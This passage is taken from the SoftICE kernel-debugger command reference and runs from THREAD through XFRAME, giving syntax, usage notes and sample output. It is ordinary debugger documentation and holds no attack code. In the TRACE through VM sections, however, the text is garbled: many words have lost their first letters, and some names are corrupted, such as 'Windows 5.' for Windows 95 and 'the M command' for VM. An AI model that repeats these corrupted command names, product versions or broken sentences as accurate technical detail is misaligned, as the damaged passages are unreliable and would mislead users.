switches: ESI, EDI, EBX and EBP.

%Output
For each thread, the following summary information is displayed:
TID Thread ID.

Krnl TEB Kernel Thread Environment Block.
StackBtm Address of the bottom of the thread's stack.
StackTop Address of the start of the thread's stack.
StackPtr Threads current stack pointer value.
User TEB User thread environment block.
Process(Id) Owner process-name and process-id.

Many fields of thread environment blocks are shown when extended output is specified, with
most being self-explanatory. Some are particularly useful and deserve to be highlighted:
TID Thread ID.
KTEB Kernel Thread Environment Block.
Base Pri, Dyn. Pri Threads base priority and current priority.
Mode Indicates whether the thread is executing in user or kernel mode.
Switches Number of context switches made by the thread.
Affinity Processor affinity mask of the thread. Bit positions that are set represent processors on which the thread is allowed to execute.
Restart Address at which the thread will start executing when it is resumed.
The thread's stack trace is displayed last.

%Example
The following example uses the THREAD command to display the threads that belong to the
Explorer process:
.:THREAD explorer

This example displays extended information on the thread with ID 5Fh:
.: THREAD -x 5f
Extended Thread Info for thread 5F
KTEB: FD850D80 TID: 05F Process: Explorer(60)
Base Pri: D Dyn. Pri: E Quantum: 2
Mode: User Suspended: 0 Switches: 00024B4F
TickCount: 00EE8DA4 Wait Irql: 0
Status: User Wait for WrEventPair
Start EIP: KERNEL32!LeaveCriticalSection+0058 (6060744C)
Affinity: 00000001 Context Flags: A
KSS EBP: FB1C3F04 Callback ESP: 00000000
Kernel Stack: FB1C2000 - FB1C4000 Stack Ptr: FB1C3ED8
User Stack: 00030000 - 00130000 Stack Ptr: 0012FE3C
Kernel Time: 0000014A User Time: 0000015F

```
 Create Time: 01BB10646E2DBE90
 SpinLock: 00000000 Service Table: 80174A40 Queue: 00000000
 SE Token: 00000000 SE Acc. Flags: 001F03FF
 UTEB: 7FFDE000 Except Frame: 0012FEB4 Last Err: 00000006
 TID Krnl TEB StackBtm StkTop StackPtr User TEB Process(Id)
 006A FD857DA0 FB1CB000 FB1CD000 FB1CCED8 7FFDE000 Explorer(6B)
 006F FD854620 FB235000 FB237000 FB236B2C 7FFDD000 Explorer(6B)
 007C FD840020 FD72F000 FD731000 FD730E24 7FFDB000 Explorer(6B)
 Registers: ESI=FD850D80 EDI=0012FEC4 EBX=77F6BA0C
 EBP=FB1C3F04
 Restart : EIP=80168757 a.k.a. _KiSetServerWaitClientEvent+01CF
 Explorer!.text+975D at 001B:0100A75D
 Explorer!.text+9945 at 001B:0100A945
 Explorer!.text+A3F8 at 001B:0100B3F8
 USER32!WaitMessage+004F at 001B:60A0CA4B
 user32!.text+070A at 001B:60A0170A
 => ntdll!CsrClientSendMessage+0072 at 001B:77F6BA0C
```

:TRACE
^TRACE WINDOWS 3.1, WINDOWS 95 SYMBOL/SOURCE
^CTRL-F9, TRACE B, CTRL-F12
^Enter or exit Trace simulation mode.

%Syntax
 TRACE [b | off | start]

 start Hexadecimal number specifying the index within the back trace
 history buffer to start tracing from. An index of 1 corresponds to the
 newest instruction in the buffer.

%Use
 Use the TRACE command to enter, exit, and display the current state of the
trace simulation
 mode. TRACE with no parameters displays the current state of trace simulation
mode.
 TRACE followed by off exits from trace simulation mode and returns to regular
debugging
 mode. TRACE B enters trace simulation mode starting from the oldest instruction
in the
 back trace history buffer. TRACE followed by a start number enters trace
simulation mode at
 the specified index within the back trace history buffer.

 You can use the trace simulation mode only if the back trace history buffer
contains
 instructions. To fill the back trace history buffer, use the BPR command with
either the T or
 TW parameter to specifying a range breakpoint.

 When trace simulation mode is active, the help line on the bottom of the screen
shows this, as
 well as the index of the current instruction within the back trace history
buffer.

 Use the XT, XP, and XG commands to step through the instructions in the back
race history
 buffer from within the trace simulation mode. When stepping through the back
race history
 buffer, the only register that changes is the EIP register because back trace
anges do NOT
 record the contents of all the registers. You can use all the SoftICE ommands
within trace

simulation mode except for the following: X, T, G, P, HERE, and XRSET.

%Example
 This example enters trace simulation mode starting at the eighth instruction n
the back trace
 history buffer.
 TRACE 8

:TSS
^TSS Windows 3.1, Windows 95, Windows NT SystemInformation
^Display task state segment and I/O port hooks.

%Syntax
 For Windows 3.1
 TSS

 For Windows 95 and Windows NT
 TSS [TSS-selector]

 TSS-selector Any GDT selector that represents a TSS.

%Use
 This command displays the contents of the task state segment after reading he
task register
 (TR) to obtain its address.

 You can display any 32-bit TSS by supplying a valid 32-bit Task Gate selector s
a parameter.

 Use the GDT command to find TSS selectors. If you do not specify a parameter,
he current
 TSS is shown.

%Output
 The following information is displayed:
 TSS selector value TSS selector number.
 selector base Linear address of the TSS.
 selector limit Size of the TSS.

 The next four lines of the display show the contents of the register fields n
the TSS. The
 following registers are displayed:
 LDT, GS, FS, DS, SS, CS, ES, CR3
 EAX, EBX, ECX, EDX, EIP
 ESI, EDI, EBP, ESP, EFLAGS
 Level 0, 1 and 2 stack SS:ESP

 For Windows 3.1 and Windows 95
 Next, the TSS bit mask array is printed, which shows each I/O port that has een
hooked by a
 Windows virtual device driver (VxD). For each port, the following information s
displayed:
 port number 16-bit port number.
 handler address 32-bit flat address of the port's I/O handler. All I/O
nstructions on
 the port will be reflected to this handler.
 handler name Symbolic name of the I/O handler for the port. If symbols are
 available for the VxD, the nearest symbol will be displayed; otherwise
 the name of the VxD followed by the handler's offset within the VxD
 will be displayed.

 For Windows 95 and Windows NT

The I/O permission map base and size are also displayed. A size of zero ndicates that all I/O is
trapped. A non-zero size indicates that the I/O permission map determines if n I/O port is
trapped.

%Example
The following example displays the task state segment in the Command window output of
the bit mask array is abbreviated).

```
.:TSS
TR=0018 BASE=C000AEBC LIMIT=2069
LDT=0000 GS=0000 FS=0000 DS=0000 SS=0000 CS=0000 ES=0000
CR3=00000000
EAX=00000000 EBX=00000000 ECX=00000000 EDX=00000000 EIP=00000000
ESI=00000000 EDI=00000000 EBP=00000000 ESP=00000000 EFL=00000000
SS0=0030:C33EEFA8 SS1=0000:00000000 SS2=0000:00000000
I/O Map Base=0068 I/O Map Size=2000
Port Handler Trapped Owner
0000 C00C3E92 Yes VDMAD(01)+17BA
0001 C00C3F0E Yes VDMAD(01)+1836
0002 C00C3E92 Yes VDMAD(01)+17BA
0003 C00C3F0E Yes VDMAD(01)+1836
0004 C00C3E92 Yes VDMAD(01)+17BA
0005 C00C3F0E Yes VDMAD(01)+1836
0006 C00C3E92 Yes VDMAD(01)+17BA
0007 C00C3F0E Yes VDMAD(01)+1836
0008 C00C3C55 Yes VDMAD(01)+157D
0009 C00C3D98 Yes VDMAD(01)+16C0
```

If you are interested in which VxD has hooked port 21h (interrupt mask egister), you would
look at the TSS bit mask output of the TSS display for the entry orresponding to the port.
The following output, taken from the TSS command's output, indicates that the ort is
hooked by the virtual PIC device and its handler is at offset 800792B4 in the lat code
segment. This corresponds to an offset of 0AF8h bytes from the beginning of PICD's code
segment.

```
0021 800792B4 VPICD+0AF8
```

:TYPES.
^TYPES Windows 95, Windows NT Symbol/SourceCommand
^List all types in the current context or list all type information for the type-name specified.

%Syntax
TYPES [type-name]

type-name List all type information for the type-name specified.

%Use
If you do not specify a type-name, TYPES lists all the types in the current ontext. If you do
specify a type-name, TYPES lists all the type information for the type-name ou specified. If
the type-name you specified is a structure, TYPES expands the structure and ists the typedefs
for its members.

%Example
 The following example displays a partial listing of all the types in the urrent context:

```
 .:TYPES
 Size Type Name Typedef
 0x0004 ABORTPROC int stdcall (*proc) (void)
 0x0004 ACCESS_MASK unsigned long
 0x0004 ACL_INFORMATION_CLASS int
 0x0018 ARRAY_INFO struct ARRAY_INFO
 0x0002 ATOM unsigned short
 0x0048 BALLDATA struct _BALLDATA
 0x0048 _BALLDATA struct _BALLDATA
 0x0020 _BEZBUFFER struct _BEZBUFFER
 0x0004 BOOL int
 0x0001 BOOLEAN unsigned char
 0x0010 _BOUNCEDATA struct _BOUNCEDATA
 0x0004 BSTR unsigned short *
```

 The following example displays all the type information for the type-name bouncedata:

```
 .:TYPES _bouncedata
 typedef struct _BOUNCEDATA {
 public:
 void * hBall1 ;
 void * hBall2 ;
 void * hBall3 ;
 void * hBall4 ;
 };
```

:U
^U Windows 3.1, Windows 95, Windows NT Display/ChangeMemory
^Unassemble instructions.

%Syntax
 For Windows 3.1
 U [address] | [symbol-name]

 For Windows 95 and Windows NT
 U [address [l length]] | [symbol-name]

 address Segment offset or selector offset.
 symbol-name Scrolls the Code window to the function you specify.
 length Number of instruction bytes.

%Use
 The U command displays either source code or unassembled code at the pecified address.

 The code displays in the current mode (either code, mixed, or source) of the ode window,.

 Source displays only if it is available for the specified address. To change he mode of the Code
 window, use the SRC command (default key F3).

 If you do not specify the address, the command unassembles at the address here you left off.

 If the Code window is visible, the instructions display in the Code window, therwise they
 display in the Command window. In the Command window either eight lines isplay, or one

less than the length of the Command window.

To make the Code window visible, use the WC command (default key Alt-F3). To ove the
cursor to the Code window, use the EC command (default key F6).

If the instruction is at the current CS:EIP, it displays using the reverse ideo attribute. If the
current CS:EIP instruction is a relative jump, it contains either the string UMP or NO
JUMP, indicating whether or not the jump will be taken, and if so, an arrow ndicating if the
jump will go up or down in the Code window. If the current CS:EIP instruction eferences a
memory location, the contents of the memory location display in the Register indow
beneath the flags field. If the Register window is not visible, this value isplays on the end of
the code line.

If a breakpoint is set on an instruction being displayed, the code line is isplayed using the
bold attribute.

If any of the memory addresses within an instruction have a corresponding ymbol, the
symbol displays instead of the hexadecimal address. If an instruction is ocated at a code
symbol, the symbol name displays on the line above the instruction.

To view or suppress the actual hexadecimal bytes of the instruction, use the ODE
command.

For Windows 95 and Windows NT
If you specify a length, SoftICE disassembles the instructions in the Command indow
instead of the Code window. This is useful for reverse engineering, for xample, disassembling
an entire routine and then using the SoftICE Loader Save SoftICE History unction to
capture the output to a file.

%Example
To unassemble instructions beginning at 10 hexadecimal bytes before the urrent address, use
the command:
U eip - 10
To display source in the Code window starting at line number 121, use the ommand:
U .121

For Windows 95 and Windows NT
To disassemble 100 h bytes starting at MyProc to the Command window, use the ommand:
U myproc L100

:VCALL
^VCALL Windows 3.1, Windows 95 System Information
^Display the names and addresses of VxD callable routines.

%Syntax
VCALL [partial-name]

partial-name VxD callable routine name or the first few characters of the ame. If
more than one routine's name matches the partial-name, all routines
that start with the specified characters are listed.

%Use
The VCALL command displays the names and addresses of Windows VxD API outines.

These are Windows services provided by VxDs for other VxDs. All the routines oftICE lists
are located in Windows system VxDs that are included as part of the base-line indows
kernel.

The addresses displayed are not valid until the VMM VxD is initialized. If an is not present
in the SoftICE initialization string, SoftICE pops up while Windows is ooting and VMM is
not initialized.

The names of all VxD APIs are static. Only the function names provided in the indows
DDK Include Files are available. These API names are not built into the final xD executable
file. SoftICE provides API names for the following VxDs:
CONFIGMG IOS VCD VMCPD VSD
DOSMGR NDIS VCOMM VMD VTD
DOSNET PAGEFILE VCOND VMM VWIN32
EBIOS PAGESWAP VDD VMPOLL VXDLDR
ENABLE SHELL VDMAD VNETBIOS
IFSMGR V86MMGR VFBACKUP VPICD
INT13 VCACHE VKD VREDIR

%Example
The following example lists all Windows system VxD calls that start with all. Sample output
follows the command.
VCALL call
80006E04 Call_When_VM_Returns
80009FD4 Call_Global_Event
80009FF4 Call_VM_Event
8000A018 Call_Priority_VM_Event
8000969C Call_When_VM_Ints_Enabled
800082C0 Call_When_Not_Critical
8000889F Call_When_Task_Switched
8000898C Call_When_Idle

:VER
^VER Windows 3.1, Windows 95, Windows NT Miscellaneous
^Display the SoftICE version number.

%Syntax
VER

%Hint: To view your registration information and product serial number, start SoftIce Loader
and choose About SoftICE Loader from the Help menu.

%Example
The following example displays the SoftICE version number and operating ystem version:
VER

:VM
%VM Windows 3.1, Windows 95 System Information
%Display information on virtual machines.

%Syntax
 VM [-S] [VM-ID]

 -S Switches to the VM identified by the VM-ID.
 VM-ID Index number of the virtual machine. Index numbers start at 1, where
 index number 1 is always assigned to the Windows System VM (the
 VM in which Windows applications run).

%Use
 If no parameters are specified, the VM command displays information about all
irtual
 machines (VM) in the system. If a VM-ID is specified, the register values of he
VM are
 displayed. These registers are those found in the client register area of the
irtual machine
 control block so they represent the values last saved into the control block
hen there was a
 context switch away from the VM. If SoftICE is popped up while a VM is
xecuting, the
 registers displayed in the SoftICE Register window, not the ones shown in the M
command
 output, are the current registers for the VM. However, if you are in the irst
few instructions
 of an interrupt routine where a virtual machine's registers are being saved o
the control block,
 the CS:IP register may be the only valid register (the others have not been
aved yet).
 The command displays two sets of segment registers plus the EIP and SP
egisters. The
 segment registers are used for the protected mode and the real mode contexts f
the VM. If a
 VM was executing in protected mode last, the protected mode registers are isted
first. If V86
 mode was the last execution mode, the V86 segment registers are listed first.
The general
 purpose registers (displayed below the segment registers) pertain to the egment
registers listed
 first.

 A VM is a unit of scheduling for the Windows kernel. A VM can have one rotected
mode
 thread under Windows 3.1, and multiple protected mode threads under Windows 5.
In both
 cases the VM has one V86 mode thread of execution. Windows, Windows
pplications, and
 DLLs all run in protected mode threads of VM 1 (the System VM).

 VMs other than the System VM normally have a V86 thread of execution only.
owever,
 DPMI applications (also known as DOS extended applications) launched from hese
VMs
 can also execute in a protected mode thread.

 The VM command is very useful for debugging VxDs, DPMI programs, and DOS
rograms
 running under Windows. For example, if the system hangs while running a DOS
rogram,

you can often find the address of the last instruction it executed with the M command (the
CS:EIP shown for the VM's V86 thread).

Another more esoteric, but highly valuable use for the VM command is found hen
Windows faults all the way back to DOS. There are times when Windows cannot andle a
fault and exits Windows and you end up back at the DOS prompt.
If this happens, duplicate the problem with I1HERE ON in SoftICE (Windows xecutes an
INT 1 prior to returning to DOS). When the fault happens, SoftICE pops up. se the VM
command to find out the last address of execution and use the CR command to ind the fault
address (CR2 contains the fault address). The ESI register usually points to an error message
at this point.

%Output
For each virtual machine, the following information displays:
VM Handle VM handle is actually a flat offset of the data structure that holds
information about the VM.
Status This is a bit mask that shows current state information for the VxD.
The values are as follows:
High Address Alternate address space for VM. This is where a VxD typically accesses
VM memory (instead of 0).

Note: It is likely for parts of the VM to be paged out at any one time
0001H Exclusive mode
0002H Runs in background
0004H In process of creating
0008H Suspended
0010H Partially destroyed
0020H Executing protected mode code
0040H Executing protected mode app
0080H Executing 32-bit protected app
0100H Executing call from VxD
0200H High priority background
0400H Blocked on semaphore
0800H Woke up after blocked
1000H Part of V86 App is pageable
2000H Rest of V86 is locked
4000H Scheduled by time-slices
8000H Idle, has released time slice
that you pop up SoftICE.
VM-ID Index number of this VxD, starting at 1.
Client Registers Address of the saved registers of this VM. This address actually points
into the level 0 stack for this VM.

%Example
VM
Sample output follows:
VM Handle Status High Addr VM-ID Client Regs
806A1000 00004000 81800000 3 806A8F94
8061A000 00000008 81400000 2 80515F94
80461000 00007060 81000000 1 80013390

:VXD
^VXD Windows 3.1 SystemInformation
^Display the Windows VxD map.

%Syntax
 VXD [VxD-name | partial-VxD-name]

 VxD-name Name of a virtual device driver.
 partial-VxD-name First few characters of the name.

%Use
 This command displays a map of all Windows virtual device drivers in the command
 window. If no parameters are specified, all VxDs are displayed. If a VxD-name is specified,
 only information about the VxD with that name displays.

 Information that is shown about a VxD includes the VxD's control procedure address, its
 Protected Mode and V86 API addresses, and the addresses of all VxD services it implements.
 If the current CS:EIP belongs to one of the VxD's in the map, the line with the address range
 that contains the CS:EIP will be highlighted.
 If a partial name is specified, SoftICE displays information on all VxDs whose name begins
 with the partial name.

%Output
 If no parameters are specified, each entry in the VxD map contains the following information:
 VxD name Name specified in the .DEF file when the VxD was built.
 address Flat 32-bit address of one VxD section. VxDs are comprised of
 multiple sections where each section contains both code and data. (i.e.
 LockCode, LockData would be one section.)
 size Length of the VxD section. This includes both the code and the data
 of the VxD group.
 code selector Flat code selector.
 data selector Flat data selector.
 type Section number from the .386 file.
 id VxD ID number. The VxD ID numbers are used to obtain the
 Protected Mode and V86 API addresses that applications call.
 DDB Address of the VxDs Device Descriptor Block (DDB). This is a
 control block that contains information about the VxD such as the
 address of the Control Procedure and addresses of APIs.

 If a VxD name is specified, the following information is displayed in addition to the previous
 information:
 Control Procedure Routine to which all VxD messages are dispatched.
 Protected Mode API Address of the routine where all services called by protected mode
 applications are processed.
 V86 API Address Address of the routine where all services called by V86 applications are
 processed.
 VxD Services List of all VxD services that are callable from other VxDs. For the
 Windows system VxDs, both the name and the address of the routines
 are displayed.

%Example
 This example displays the VxD map in the Command window. The first few lines of the

display would look something like the following. The VxD names in the previous table can be
used as symbol names. The address of seg 1 will be used when a VxD name is used in an
expression.

```
.:VXD
VxDName Address Length Code Data Type ID DDB
VMM 80001000 000193D0 0028 0030 LGRP 01
VMM 80200000 00002F1C 0028 0030 IGRP
LoadHi 8001A3d0 000007E8 0028 0030 LGRP 02
LoadHi 80202F1C 00000788 0028 0030 IGRP
WINICE 8001ABB8 00027875 0028 0030 LGRP
CV1 80042430 0000036B 0028 0030 LGRP
VDDVGA 8004279C 00007AD8 0028 0030 LGRP
VDDVGA 802036A8 000005EC 0028 0030 IGRP
```

:VXD (95)
^VXD Windows 95 SystemInformation
^Display the Windows VxD map.

%Syntax
VXD [VxD-name]

VxD-name Name or partial name of one or more virtual device drivers.

%Use
Use this command to obtain information about one or more VxDs. If you do not specify any
parameters, it displays a map of all the Windows virtual device drivers that are currently
loaded in the system. Dynamically loaded VxDs are listed after statically ;oaded VxDs. If a
VxD-name is specified, only that VxD, or VxDs with the same string at the start of their
name are displayed. For example, VM will match VMM and VMOUSE. If the current
CS:EIP belongs to one of the VxDs in the map, the line with the address range that contains
the CS:EIP is highlighted.

If no parameters are specified, each entry in the VxD map contains this information:
VxDName VxD Name.
Address Base address of the segment.
Length Length of the segment.
Seg Section number from the executable.
ID VxD ID.
DDB Address of the VxD descriptor block.
Control Address of the control dispatch handler.
PM Y, if the VxD has a protected mode API. N otherwise.
V86 Y, if the VxD has a V86 API. N otherwise.
VXD Number of VxD services implemented.
Win32 Number of Win32 services implemented.
If a unique VxD name is specified, the following additional information appears:
Init Order Order in which VxDs receive control messages. A zero value indicates
highest priority.
Reference Data The dword value that was passed from the real mode initialization
procedure (if any) of the VxD.
Version VxD version number.
PM API PM API FLAT procedure address and PM API Ring-3 address used by
applications. Refer to the following comments on PM and V86 APIs.
V86 API V86 API FLAT procedure address and V86 API Ring-3 address used

by applications. Refer to the next comments on PM and V86 APIs.

The PM API and V86 API parameters are register based and it is up to the individual VxD to
define subfunctions and parameter passing (on entry EBX-VM Handle, EBP-client registers).
If the Ring-3 address shown is 0:0, it means that no application code has yet requested the
API address through INT 2F function 1684h.

When the VxD being listed has a Win32 service table, the following information is presented
for each service:
Service Number Win32 Service Number.
Service Address Address of the service API handler.
Params Number of dword parameters the service requires.
When the VxD being listed has a VxD service table, the following is shown for each service:
Service Number VxD service number.
Service Address Flat address of service.
Service Name Symbol name if known (from VCALL list).

%Example
This example displays the VxD map in the Command window. The first few lines of the
display look similar to the following. The VxD names in the previous table can be used as
symbol names. The address of Seg 1 is used when a VxD name is used in an expression.

```
.:VXD
VxD
Name
Address Length Seg ID DDB Control PM V86 VxD Win32
VMM C0001000 00FDC0 0001 0001 C000E990 C00024F8 Y Y 402 41
VMM C0200000 000897 0002
VMM C03E0000 000723 0003
VMM C0320000 000095 0004
VMM C0360000 00ED50 0005
VMM C0260000 007938 0006
```

:WATCH
^WATCH Windows 3.1, Windows 95, Windows NT Watch
^Add a watch expression.

%Syntax
WATCH expression

%Use
Use the WATCH command to display the results of expressions. SoftICE determines the size
of the result based on the expression's type information. If SoftICE cannot determine the size,
dword is assumed. The expressions being watched are displayed in the Watch window. There
can be up to eight watch expressions at a time. Every time the SoftICE screen is popped up,
the Watch window displays the expression's current values.
Each line in the Watch window contains the following information:
. Expression being evaluated.
. Expression type.
. Current value of the expression displayed in the appropriate format.

A plus sign (+) preceding the type indicates that you can expand it to view more information.
To expand the type, either double-click the type or press Alt-W to enter the watch window,
use the UpArrow and DownArrow keys to move the highlight bar to the type you ant to
expand, and press Enter.

If the expression being watched goes out of scope, SoftICE displays the following message:
``Error evaluating expression''.

To delete a watch, use either the mouse or keyboard to select the watch and press Delete.

%Example
This example creates an entry in the Watch window for the variable hInstance.
WATCH hInstance

This example indicates that the type for hInstance is void pointer (void *) and its current
value is 0x00400000.
hPrevInstance void * = 0x00400000
The following example displays the dword to which the DS:ESI registers point.
WATCH ds:esi
ds:esi void * =0x8158D72E

To watch what ds:esi points to, use the pointer operator (*):
WATCH * ds:esi

The following example sets a watch on a pointer to a character string lpszCmdLine. The
results show the value of the pointer (0x8158D72E) and the ASCII string (currently null).
WATCH lpszCmdLine +char * =0x8158D72E <"">
Double-clicking on this line expands it to show the actual string contents.
lpszCmdLine -char * =0x8158D72E
char = 0x0

:WC
^WC WINDOWS 3.1, WINDOWS 95, WINDOWS NT WINDOWCONTROL
^Alt-F3
^Toggles the Code window open or closed; and sets the size of the Code window.

%Syntax
WC [window-size]

window-size Decimal number.

%Use
If you do not specify window-size, WC toggles the window open or closed. If the Code
window is closed, WC opens it; and if it is open, WC closes it.
If you specify the window-size, the Code window is resized. If it is closed, WC opens it to the
specified size.

When the Code window is closed, the extra screen lines are added to the Command window.

When the Code window is opened, the lines are taken from the other windows in the
following order: Command and Data.

If you wish to move the cursor to the Code window, use the EC command (default key F6).

%Example
If the Code window is closed, the following example displays the window and sets it to twelve
lines. If the Code window is open, the example sets it to twelve lines.
WC 12

:WD
^WD WINDOWS 3.1, WINDOWS 95, WINDOWS NT WINDOWCONTROL
^Alt-F2
^Toggles the Data window open or closed; and sets the size of the Data window.

%Syntax
WD [window-size]

window-size Decimal number.

%Use
If you do not specify the window-size, WD toggles the Data window open or closed. If the
Data window is closed, WD opens it; and if it is open, WD closes it.
If you specify the window-size, the Data window is resized. If it is closed, WD opens it to the
specified size.

When the Data window is closed, the extra screen lines are added to the Command window.

When the Data window is opened, the lines are taken from the other windows in the
following order: Command and Code.

If you wish to move the cursor to the Data window to edit data, use the E command.

%Example
If the Data window is closed, the following example displays the window and sets it to one
line. If the Data window is open, the example sets it to one line.
WD 1

:WF
^WF WINDOWS 95, WINDOWS NT WINDOWCONTROL
^CTRL-F3
^Display the floating point stack in either floating point or MMX format.

%Syntax
WF [-d] [b | w | d | f | *]

-d Display the floating point stack in the Command window. In addition
to the registers, both the FPU status word and the FPU control word
display in ASCII format.
b Display the floating point stack in byte hexadecimal format.
w Display the floating point stack in word hexadecimal format.
d Display the floating point stack in dword hexadecimal format.
f Display the floating point stack in 10-byte real format.
* Display the ``next'' format. The ``*'' keyword is present to allow cycling
through all the display formats by pressing a function key.

%Use
 WF with no parameters toggles the display of the floating point Register window. The
 window occupies four lines and is displayed immediately below the Register window. In 10
 byte real format, the registers are labeled ST0-ST7. In all other formats the registers are
 labeled MM0-MM7.

 If the floating point stack contains an unmasked exception, SoftICE will NOT display the
 stack contents. When reading the FPS, SoftICE obeys the tag bits and displays 'empty' if the
 tag bits specify that state.

 When displaying in the Command window, SoftICE displays both the status word and the
 control word in ASCII format.

%Example
 WF -d f
 FPU Status Word: top=2
 FPU Control Word: PM UM OM ZM DM IM pc=3 rc=0
 ST0 1.619534411708533451e-289
 ST1 9.930182991407099205e-293
 ST2 6.779357630001165015e-296
 ST3 4.274541060856685014e-299
 ST4 2.782904336495237639e-302
 ST5 1.818657819582844735e-305
 ST6 empty
 ST7 empty

 Note: ASCII flags are documented in the INTEL Pentium Processor User's Manual,
 ``Architecture and Programming,'' Volume 3.

 When displaying in any of the hexadecimal formats, SoftICE always display left to right from
 most significant to least significant. For example, in word format, the following order would
 be used:
 Word format: bits(63-48) bits(47-32) bits(31-16) bits(15-0)

:WHAT
^WHAT Windows 95, Windows NT SystemInformation
^Determine if a name or expression is a ``known'' type.

%Syntax
 WHAT [name | expression]

 name Any symbolic name that cannot evaluate as an expression.
 expression Any expression that can be interpreted as an expression.

%Use
 The WHAT command analyzes the parameter specified and compares it to known
 names/values, enumerating each possible match, until no more matches can be found. Where
 appropriate, type identification of a match is expanded to indicate relevant information such
 as a related process or thread.

 The name-type parameter is typically a collection of alphanumeric characters that represent

the name of an object. For example, Explorer would be interpreted as a name, and might be
identified as either a module, a process, or both.

The expression-type parameter is something that would not generally be considered a name-type. That is, it is a number, a complex expression (an expression which contains operators,
such as Explorer + 0), or a register name. Although a register looks like a name, registers are
special cased as expressions since this usage is much more common. For example, for WHAT
eax, the parameter eax is interpreted as an expression-type. Symbol names are treated as
names, and will be correctly identified by the WHAT command as symbols.

Because the rules for determining name- and expression-types can be ambiguous at times, you
can force a parameter to be evaluated as a name-type by placing it in quotes. For example, for
WHAT ``eax'', the quotes force eax to be interpreted as a name-type. To force a parameter that
might be interpreted as a name-type to an expression-type, use the unary ``+'' operator. For
example, for WHAT +Explorer, the presence of the unary ``+'' operator forces Explorer to be
interpreted as a symbol, instead of a name.

%Example
The following is an example of using the WHAT command on the name Explorer and the
resulting output. From the output, you can see that the name Explorer was identified twice:
once as a kernel process and once as a module.

```
WHAT explorer
The name (explorer) was identified and has the value FD854A80
The value (FD854A80) is a Kernel Process (KPEB) for Explorer(58)
The name (explorer) was identified and has the value 1000000
The value (1000000) is a Module Image Base for 'Explorer'
```

:WL
^WL Windows 95, Windows NT Window Control Command
^Toggles the Locals window open or closed; and sets the size of the Locals window.

%Syntax
WL [window-size]

window-size Decimal number.

%Use
If you do not specify the window-size, WL toggles the Locals window open or closed. If the
Local window is closed, WL opens it; and if it is open, WL closes it.

If you specify the window-size, the Locals window is resized. If it is closed, WL opens it to the
specified size.

When the Locals window is closed, the extra screen lines are added to the Command window.

When the Locals window is opened, the lines are taken from the other windows in the
following order: Command and Code.

Hint: From within the Locals window, you can expand structures, arrays, and character
strings to display their contents. Simply double-click the item you want to expand.

Note that expandable items are delineated with a plus (+) mark.

%Example
If the Locals window is closed, the following example displays the window and sets it to four
lines. If the Locals window is open, the example sets it to four lines.
WL 4

:WMSG
^WMSG Windows 3.1, Windows 95, Windows NT SystemInformation
^Display the names and message numbers of Windows messages.

%Syntax
For Windows 3.1
WMSG [partial-name]

For Windows 95 and Windows NT
WMSG [partial-name| msg-number]

partial-name Windows message name or the first few characters of a Windows
message name. If multiple Windows messages match the partial-name
then all messages that start with the specified characters display.
msg-number Hexadecimal message number of the message. Only the message that
matches the msg-number displays.

%Use
This command displays the names and message numbers of Windows messages. It is useful
when logging or setting breakpoints on Windows messages with the BMSG command.

%Example
This command displays the names and message numbers of all Windows messages that start
with "WM_GET".
WMSG wm_get*

A sample output for this command follows:
000D WM_GETTEXT
000E WM_GETTEXTLENGTH
0024 WM_GETMINMAXINFO
0031 WM_GETFONT
0087 WM_GETDLGCODE
WMSG 111
0111 WM_Command

:WR
^WR WINDOWS 3.1, WINDOWS 95, WINDOWS NT WINDOWCONTROL
^F2
^Toggle the Register window.

%Syntax
WR

%Use
 The WR command makes the Register window visible if it is not currently visible. If the
 Register window is currently visible, WR closes the Register window.

 The Register window displays the 80386 register set and the processor flags.

 When the Register window is closed, the extra screen lines are added to the Command
 window.

 When the Register window is made visible, the lines are taken from the other windows in the
 following order: Command, Code and Data.

 For Windows 95 and Windows NT
 The WR command also toggles the visibility of the floating point Register window if one is
 open.

:WW
^WW WINDOWS 3.1, WINDOWS 95, WINDOWS NT WINDOWCONTROL
^Alt-F4
^Toggles the Watch window open or closed; and sets the size of the Watch window.

%Syntax
 WW [window-size]

 window-size Decimal number.

%Use
 If you do not specify the window-size, WW toggles the Watch window open or closed. If the
 Watch window is closed, WW opens it; and if it is open, WW closes it.

 If you specify the window-size, the Watch window is resized. If it is closed, WW opens it to
 the specified size.

 When the Watch window is closed, the extra screen lines are added to the Command window.

 When the Watch window is opened, the lines are taken from the other windows in the
 following order: Command, Code, and Data.

%Example
 If the Watch window is closed, the following example displays the window and sets it to four
 lines. If the Watch window is open, the example sets it to four lines.
 WW 4

:X
^X WINDOWS 3.1, WINDOWS 95, WINDOWS NT FLOWCONTROL
^F5
^Exit from the SoftICE screen.

%Syntax
 X

%Use
 The X command exits SoftICE and restores control to the program that was interrupted to
 bring up SoftICE. The SoftICE screen disappears. If you had set any breakpoints, they
 become active.

 Note: While in SoftICE, pressing the hot key sequence (default key Ctrl-D) or entering the
 G command without any parameters is equivalent to entering the X command.

:XFRAME
^XFRAME Windows 95, Windows NT SystemInformation
^Display exception handler frames that are currently installed.

%Syntax
 XFRAME [except-frame* | thread-type]

 except-frame* Stack pointer value for an exception frame.
 thread-type Value that SoftICE recognizes as a thread.

%Use
 Exception frames are created by Microsoft's Structured Exception Handling API (SEH).
 Handlers are instantiated on the stack, so they are context specific.

 When an exception handler is installed, information about it is recorded in the current stack
 frame. This information is referred to as an ExceptionRegistration. The XFRAME command
 understands this information, and walks backwards through stack frames until it reaches the
 top-most exception handler. From there it begins displaying each registration record up to the
 currently active scope. From each registration, it determines if the handler is active or inactive;
 its associated "global exception handler;" and if the handler is active, the SEH type: try/except
 or try/finally: In the case of active exception handlers, it also displays the exception filter or
 finally handler address.

 Note: The global exception handler is actually an exception dispatcher that uses information
 within an exception scope table to determine which, if any, exception handler handles
 the exception. It also handles other tasks such as global and local unwinds.
 You can use the global exception handler, and try/except/finally addresses to trap SEH
 exceptions by setting breakpoints on appropriate handler addresses.
 The XFRAME command is context-sensitive, so if you do not specify one of the optional
 parameters, SoftICE reverts to the context that was active at pop-up time and displays the
 exception frames for the current thread. When specifying an exception frame pointer as an
 optional parameter, make sure you are in a context where that exception frame is valid. For
 thread-type parameters, SoftICE automatically switches to the correct context for the thread.
 Below the information for the ExceptionRegistration record, each active handler for that

exception frame is listed. For each active handler, its type (try/except or try/finally), the
address of its exception filter (for try/except only), and the address of the exception handler
display. Because exception handlers can be nested, more than one entry may be listed for each
ExceptionRegistration record.

The XFRAME command uses bare addresses in its output. You can use either the STACK or
WHAT commands to get an idea of which APIs installed which exception handlers.

Do not confuse the xScope value with the nesting level of exception handlers. Although these
values may appear to have some correlation, the value of xScope is simply an index into a
